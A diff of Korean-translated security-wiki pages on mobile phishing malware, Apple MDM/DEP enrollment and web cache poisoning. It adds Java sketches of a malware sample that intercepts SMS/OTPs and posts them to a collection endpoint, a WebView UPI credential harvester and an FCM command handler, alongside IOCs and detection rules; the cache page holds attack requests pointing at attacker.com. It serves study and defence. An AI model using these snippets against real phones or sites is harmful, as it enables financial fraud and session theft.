diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index 0813cf47c..4bdb9787b 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -10,7 +10,7 @@
1. **SEO/피싱 인프라**
* 유사 도메인 수십 개 등록(데이팅, 클라우드 공유, 차량 서비스 등).
-– Google에서 순위를 매기기 위해 `
` 요소에 지역 언어 키워드와 이모지를 사용합니다.
+– Google에서 순위를 매기기 위해 `` 요소에 현지 언어 키워드와 이모지를 사용합니다.
– *안드로이드*(`.apk`) 및 *iOS* 설치 지침을 동일한 랜딩 페이지에 호스팅합니다.
2. **1단계 다운로드**
* 안드로이드: *서명되지 않은* 또는 “제3자 스토어” APK에 대한 직접 링크.
@@ -28,14 +28,14 @@
```
-* 최근 변종은 **`AndroidManifest.xml`에서 SMS에 대한 ``을 제거**하지만, SMS를 리플렉션을 통해 읽는 Java/Kotlin 코드 경로는 남겨둡니다 ⇒ 권한을 `AppOps` 남용 또는 이전 대상을 통해 부여받는 장치에서 여전히 기능하면서 정적 점수를 낮춥니다.
+* 최근 변종은 `AndroidManifest.xml`에서 SMS에 대한 ``을 **제거**하지만, SMS를 리플렉션을 통해 읽는 Java/Kotlin 코드 경로는 남겨둡니다 ⇒ `AppOps` 남용이나 이전 타겟을 통해 권한을 부여받는 장치에서 여전히 기능적입니다.
5. **페사드 UI 및 백그라운드 수집**
* 앱은 로컬에서 구현된 무해한 뷰(SMS 뷰어, 갤러리 선택기)를 표시합니다.
* 동시에 다음을 유출합니다:
- IMEI / IMSI, 전화번호
-- 전체 `ContactsContract` 덤프(JSON 배열)
+- 전체 `ContactsContract` 덤프 (JSON 배열)
- 크기를 줄이기 위해 [Luban](https://github.com/Curzibn/Luban)으로 압축된 `/sdcard/DCIM`의 JPEG/PNG
-- 선택적 SMS 내용(`content://sms`)
+- 선택적 SMS 내용 (`content://sms`)
페이로드는 **배치 압축**되어 `HTTP POST /upload.php`를 통해 전송됩니다.
6. **iOS 배포 기술**
* 단일 **모바일 구성 프로필**이 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 등을 요청하여 장치를 “MDM”-유사 감독에 등록할 수 있습니다.
@@ -50,14 +50,14 @@
## 방어 테스트 / 레드팀 팁
* **동적 분석 우회** – 악성코드 평가 중 Frida/Objection을 사용하여 초대 코드 단계를 자동화하여 악성 분기로 도달합니다.
-* **매니페스트 vs. 런타임 차이** – `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교합니다; 위험한 권한이 누락된 것은 경고 신호입니다.
-* **네트워크 카나리** – 코드 입력 후 비정상적인 POST 폭주를 감지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성합니다.
+* **매니페스트 vs. 런타임 차이** – `aapt dump permissions`와 런타임 `PackageManager#getRequestedPermissions()`를 비교합니다; 위험한 권한이 누락된 경우 경고 신호입니다.
+* **네트워크 카나리** – 코드 입력 후 불안정한 POST 폭주를 감지하기 위해 `iptables -p tcp --dport 80 -j NFQUEUE`를 구성합니다.
* **mobileconfig 검사** – macOS에서 `security cms -D -i profile.mobileconfig`를 사용하여 `PayloadContent`를 나열하고 과도한 권한을 찾아냅니다.
## 블루팀 탐지 아이디어
* **인증서 투명성 / DNS 분석**을 통해 키워드가 풍부한 도메인의 갑작스러운 폭주를 포착합니다.
-* **User-Agent 및 경로 정규 표현식**: `(?i)POST\s+/(check|upload)\.php` Google Play 외부의 Dalvik 클라이언트에서.
+* **User-Agent 및 경로 정규 표현식**: `(?i)POST\s+/(check|upload)\.php`를 Google Play 외부의 Dalvik 클라이언트에서 사용합니다.
* **초대 코드 텔레메트리** – APK 설치 직후 6–8자리 숫자 코드의 POST는 스테이징을 나타낼 수 있습니다.
* **MobileConfig 서명** – MDM 정책을 통해 서명되지 않은 구성 프로필을 차단합니다.
@@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
-## References
+---
+
+## Android WebView 결제 피싱 (UPI) – 드로퍼 + FCM C2 패턴
+
+이 패턴은 인도 UPI 자격 증명과 OTP를 훔치기 위해 정부 혜택 테마를 악용하는 캠페인에서 관찰되었습니다. 운영자는 배달과 복원력을 위해 신뢰할 수 있는 플랫폼을 연결합니다.
+
+### 신뢰할 수 있는 플랫폼을 통한 배달 체인
+- YouTube 비디오 유인 → 설명에 짧은 링크 포함
+- 짧은 링크 → 합법적인 포털을 모방한 GitHub Pages 피싱 사이트
+- 동일한 GitHub 리포지토리는 파일에 직접 연결된 가짜 “Google Play” 배지를 가진 APK를 호스팅
+- 동적 피싱 페이지는 Replit에서 운영; 원격 명령 채널은 Firebase Cloud Messaging (FCM)을 사용
+
+### 임베디드 페이로드와 오프라인 설치가 포함된 드로퍼
+- 첫 번째 APK는 실제 악성코드를 `assets/app.apk`에 배송하고 사용자가 클라우드 탐지를 무력화하기 위해 Wi‑Fi/모바일 데이터를 비활성화하도록 유도하는 설치 프로그램(드로퍼)입니다.
+- 임베디드 페이로드는 무해한 레이블(예: “보안 업데이트”) 아래에 설치됩니다. 설치 후, 설치 프로그램과 페이로드는 별도의 앱으로 존재합니다.
+
+정적 분류 팁 (임베디드 페이로드 검색):
+```bash
+unzip -l sample.apk | grep -i "assets/app.apk"
+# Or:
+zipgrep -i "classes|.apk" sample.apk | head
+```
+### 단기 링크를 통한 동적 엔드포인트 발견
+- 악성 소프트웨어는 단기 링크에서 실시간 엔드포인트의 일반 텍스트, 쉼표로 구분된 목록을 가져옵니다; 간단한 문자열 변환으로 최종 피싱 페이지 경로를 생성합니다.
+
+예시 (정리됨):
+```
+GET https://rebrand.ly/dclinkto2
+Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
+Transform: "gate.html" → "gate.htm" (loaded in WebView)
+UPI credential POST: https://sqcepo.replit.app/addup.php
+SMS upload: https://sqcepo.replit.app/addsm.php
+```
+의사 코드:
+```java
+String csv = httpGet(shortlink);
+String[] parts = csv.split(",");
+String upiPage = parts[0].replace("gate.html", "gate.htm");
+String smsPost = parts[1];
+String credsPost = upiPage.replace("gate.htm", "addup.php");
+```
+### WebView 기반 UPI 자격 증명 수집
+- “₹1 / UPI‑Lite 결제하기” 단계는 WebView 내의 동적 엔드포인트에서 공격자의 HTML 양식을 로드하고 민감한 필드(전화, 은행, UPI PIN)를 캡처하여 `addup.php`로 `POST`합니다.
+
+최소 로더:
+```java
+WebView wv = findViewById(R.id.web);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.loadUrl(upiPage); // ex: https:///gate.htm
+```
+### 자기 전파 및 SMS/OTP 가로채기
+- 첫 실행 시 공격적인 권한 요청:
+```xml
+
+
+
+
+```
+- 연락처는 피해자의 장치에서 스미싱 SMS를 대량 전송하기 위해 루프됩니다.
+- 수신된 SMS는 브로드캐스트 리시버에 의해 가로채어지고 메타데이터(발신자, 본문, SIM 슬롯, 장치별 랜덤 ID)와 함께 `/addsm.php`에 업로드됩니다.
+
+Receiver sketch:
+```java
+public void onReceive(Context c, Intent i){
+SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
+for (SmsMessage m: msgs){
+postForm(urlAddSms, new FormBody.Builder()
+.add("senderNum", m.getOriginatingAddress())
+.add("Message", m.getMessageBody())
+.add("Slot", String.valueOf(getSimSlot(i)))
+.add("Device rand", getOrMakeDeviceRand(c))
+.build());
+}
+}
+```
+### Firebase Cloud Messaging (FCM) as resilient C2
+- 페이로드는 FCM에 등록됩니다; 푸시 메시지는 동작을 트리거하는 데 사용되는 `_type` 필드를 포함합니다 (예: 피싱 텍스트 템플릿 업데이트, 행동 전환).
+
+Example FCM payload:
+```json
+{
+"to": "",
+"data": {
+"_type": "update_texts",
+"template": "New subsidy message..."
+}
+}
+```
+핸들러 스케치:
+```java
+@Override
+public void onMessageReceived(RemoteMessage msg){
+String t = msg.getData().get("_type");
+switch (t){
+case "update_texts": applyTemplate(msg.getData().get("template")); break;
+case "smish": sendSmishToContacts(); break;
+// ... more remote actions
+}
+}
+```
+### 사냥 패턴 및 IOC
+- APK는 `assets/app.apk`에 보조 페이로드를 포함합니다.
+- WebView는 `gate.htm`에서 결제를 로드하고 `/addup.php`로 유출합니다.
+- SMS 유출은 `/addsm.php`로 진행됩니다.
+- 단축 링크 기반 구성 가져오기 (예: `rebrand.ly/*`)가 CSV 엔드포인트를 반환합니다.
+- 일반 “업데이트/보안 업데이트”로 라벨이 붙은 앱들.
+- 신뢰할 수 없는 앱에서 `_type` 구분자가 있는 FCM `data` 메시지.
+
+### 탐지 및 방어 아이디어
+- 설치 중 사용자에게 네트워크 비활성화를 지시하고 `assets/`에서 두 번째 APK를 사이드 로드하도록 하는 앱에 플래그를 지정합니다.
+- 권한 튜플: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView 기반 결제 흐름에 대한 경고.
+- 비기업 호스트에서 `POST /addup.php|/addsm.php`에 대한 이그레스 모니터링; 알려진 인프라 차단.
+- 모바일 EDR 규칙: FCM에 등록하고 `_type` 필드에 따라 분기하는 신뢰할 수 없는 앱.
+
+---
+
+## 참조
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
+- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
index f93fa7c1b..e94e6d7ba 100644
--- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
@@ -11,7 +11,7 @@
### **MDM (모바일 장치 관리) 개요**
-[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에 대해, 이는 일련의 전문 기능, API 및 관행을 포함합니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다:
+[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에서는 특수 기능, API 및 관행의 집합이 포함됩니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다:
- 장치에 대한 중앙 집중식 제어.
- MDM 프로토콜을 준수하는 MDM 서버에 의존.
@@ -19,7 +19,7 @@
### **DEP (장치 등록 프로그램) 기본 사항**
-Apple이 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 측면은 다음과 같습니다:
+Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 사항은 다음과 같습니다:
- 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자율적으로 등록할 수 있도록 합니다.
- 주로 새 장치에 유용하지만 재구성 중인 장치에도 적용 가능합니다.
@@ -52,14 +52,14 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초
- **통신**은 **장치**와 **장치 관리** **제품**과 관련된 서버 간에 발생합니다.
- **명령**은 **plist 인코딩된 사전** 형식으로 MDM에서 장치로 전달됩니다.
- 모든 것이 **HTTPS**를 통해 이루어집니다. MDM 서버는 (대개) 핀 고정됩니다.
-- Apple은 MDM 벤더에게 인증을 위한 **APNs 인증서**를 부여합니다.
+- Apple은 인증을 위해 MDM 벤더에게 **APNs 인증서**를 부여합니다.
### DEP
- **3개의 API**: 1개는 리셀러용, 1개는 MDM 벤더용, 1개는 장치 식별용(문서화되지 않음):
-- 이른바 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다.
+- 소위 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다.
- Apple 공인 리셀러가 장치를 등록하고, 등록 상태를 확인하고, 거래 상태를 확인하는 데 사용하는 [DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html).
-- 문서화되지 않은 비공식 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 역할을 합니다.
+- 문서화되지 않은 비공식 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 책임이 있습니다.
- 더 현대적이고 **JSON** 기반입니다(대비 plist).
- Apple은 MDM 벤더에게 **OAuth 토큰**을 부여합니다.
@@ -75,7 +75,7 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초
## 일련 번호
-2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는 제조 연도**와 **주**를 나타내며, 다음 **세 자리는 고유 식별자**를 제공하고, **마지막 네 자리는 모델 번호**를 나타냅니다.
+2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는** **제조 연도**와 **주**를 나타내며, 다음 **세 자리는** **고유 식별자**를 제공하고, **마지막 네 자리는** **모델 번호**를 나타냅니다.
{{#ref}}
macos-serial-number.md
@@ -103,19 +103,19 @@ macos-serial-number.md
또는 `sudo profiles show -type enrollment`을 실행할 때
-- **장치가 DEP 활성화되었는지 여부 확인**
+- **장치가 DEP 활성화되었는지 여부를 확인합니다.**
- 활성화 기록은 **DEP “프로파일”**의 내부 이름입니다.
- 장치가 인터넷에 연결되면 시작됩니다.
- **`CPFetchActivationRecord`**에 의해 구동됩니다.
-- **`cloudconfigurationd`**가 XPC를 통해 구현합니다. **"설정 도우미"** (장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다.
-- LaunchDaemon (항상 root로 실행)
+- **`cloudconfigurationd`**가 XPC를 통해 구현합니다. **"설정 도우미"**(장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다.
+- LaunchDaemon (항상 root로 실행됨)
-활성화 기록을 가져오기 위해 **`MCTeslaConfigurationFetcher`**가 수행하는 몇 가지 단계를 따릅니다. 이 프로세스는 **Absinthe**라는 암호화를 사용합니다.
+활성화 기록을 가져오는 과정은 **`MCTeslaConfigurationFetcher`**에 의해 수행됩니다. 이 과정은 **Absinthe**라는 암호화를 사용합니다.
1. **인증서 검색**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. 인증서에서 상태 **초기화** (**`NACInit`**)
-1. 다양한 장치 특정 데이터를 사용합니다(예: **`IOKit`를 통한 일련 번호**).
+1. 다양한 장치 특정 데이터 사용(예: **`IOKit`를 통한 일련 번호**)
3. **세션 키 검색**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. 세션 설정 (**`NACKeyEstablishment`**)
@@ -135,7 +135,7 @@ macos-serial-number.md
.png>)
-- **DEP 프로파일**에 제공된 **url**로 요청이 전송됩니다.
+- **DEP 프로파일에 제공된 url**로 요청이 전송됩니다.
- 제공된 경우 **앵커 인증서**가 **신뢰성 평가**에 사용됩니다.
- 알림: **DEP 프로파일의 anchor_certs** 속성
- **요청은 장치 식별이 포함된 간단한 .plist**입니다.
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 808822dec..c697886b0 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -25,7 +25,7 @@
### 발견: 캐시 오류 코드
-응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청에 정상적으로 접근해보고 **응답이 400 상태 코드**라면, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
+응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
더 많은 옵션은 다음에서 찾을 수 있습니다:
@@ -33,7 +33,7 @@
cache-poisoning-to-dos.md
{{#endref}}
-하지만 **때때로 이러한 상태 코드가 캐시되지 않을 수** 있으므로 이 테스트는 신뢰할 수 없을 수 있습니다.
+그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
### 발견: 키가 없는 입력 식별 및 평가
@@ -47,23 +47,23 @@ cache-poisoning-to-dos.md
### 응답 캐시 가져오기
-악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
+악용할 수 있는 **페이지**를 **식별**하고, 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
-응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
-헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
+응답의 **`X-Cache`** 헤더는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
+**`Cache-Control`** 헤더는 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 아는 데 흥미롭습니다: `Cache-Control: public, max-age=1800`
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이는 객체가 프록시 캐시에 있는 시간을 초 단위로 정의합니다.
-요청을 캐시할 때는 사용하는 헤더에 **주의해야** 합니다. 일부 헤더는 **예상치 않게** **키가 있는** 것으로 사용될 수 있으며, **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
+요청을 캐시할 때는 **사용하는 헤더에 주의**해야 합니다. 일부 헤더는 **예상치 않게** **키로 사용될 수** 있으며, **피해자는 동일한 헤더를 사용해야 합니다**. 항상 **다양한 브라우저**로 캐시 오염을 **테스트**하여 작동하는지 확인하십시오.
## 악용 예시
### 가장 쉬운 예
-헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
-기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
+`X-Forwarded-For`와 같은 헤더가 응답에 정화되지 않고 반영되고 있습니다.\
+기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사용자가 XSS에 노출되도록 할 수 있습니다:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@@ -79,11 +79,11 @@ cache-poisoning-to-dos.md
### CDN을 통한 캐시 오염
-**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
+**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명됩니다:
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
-- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색으로 사용할 수 있습니다**. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답은 **인증 토큰을 포함합니다**.
+- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, 이를 사용하여 **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색**으로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- 웹 서버는 `%2F..%2F`를 디코딩하고 정규화하며, `/api/auth/session`으로 응답합니다. 이 응답에는 **인증 토큰**이 포함되어 있습니다.
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
@@ -99,6 +99,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
확인하십시오:
+
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
@@ -109,13 +110,14 @@ cache-poisoning-via-url-discrepancies.md
이것은 다음에서 더 잘 설명됩니다:
+
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
-### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용
+### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용하기
-때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션의 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
+때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`을 `http`로 설정하면 **Open redirect**를 찾을 수 있습니다. **서버**가 모든 **HTTP** 요청을 **HTTPS**로 **전달**하고 `X-Forwarded-Scheme` 헤더를 리디렉션을 위한 도메인 이름으로 사용하는 경우, 리디렉션에 의해 페이지가 가리키는 위치를 제어할 수 있습니다.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -124,7 +126,7 @@ X-Forwarded-Scheme: http
```
### 제한된 `Vary` 헤더로 악용하기
-만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
+**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@@ -133,7 +135,7 @@ X-Host: attacker.com
```
### Fat Get
-URL과 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
+URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 파라미터를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@@ -144,23 +146,23 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-### Parameter Cloaking
+### 매개변수 클로킹
-예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 구분할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
+예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분리할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
-### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
+### HTTP 요청 스머글링을 악용한 HTTP 캐시 오염 공격
-여기에서 [HTTP Request Smuggling을 악용한 Cache Poisoning 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
+여기에서 [HTTP 요청 스머글링을 악용한 캐시 오염 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)을 배울 수 있습니다.
-### Automated testing for Web Cache Poisoning
+### 웹 캐시 오염에 대한 자동화된 테스트
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 웹 캐시 오염을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
-Example usage: `wcvs -u example.com`
+예제 사용법: `wcvs -u example.com`
-### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
+### 헤더 반사 XSS + CDN/WAF 지원 캐시 시딩 (User-Agent, 자동 캐시된 .js)
이 실제 패턴은 헤더 기반 반사 원시 기능과 CDN/WAF 동작을 연결하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 오염시킵니다:
@@ -171,12 +173,12 @@ Example usage: `wcvs -u example.com`
실용적인 레시피(인기 있는 CDN/WAF에서 관찰됨):
1) 깨끗한 IP에서(이전 평판 기반 하락을 피하기 위해) 브라우저 또는 Burp Proxy Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
-2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
+2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "병렬로 그룹 전송"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
- 첫 번째 요청: 악성 `User-Agent`를 보내면서 동일한 출처의 `.js` 리소스 경로를 GET합니다.
- 즉시 후에: 주요 페이지(`/`)를 GET합니다.
-3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시된 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
+3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
-Example header payload (to exfiltrate non-HttpOnly cookies):
+예제 헤더 페이로드(비 HttpOnly 쿠키를 유출하기 위해):
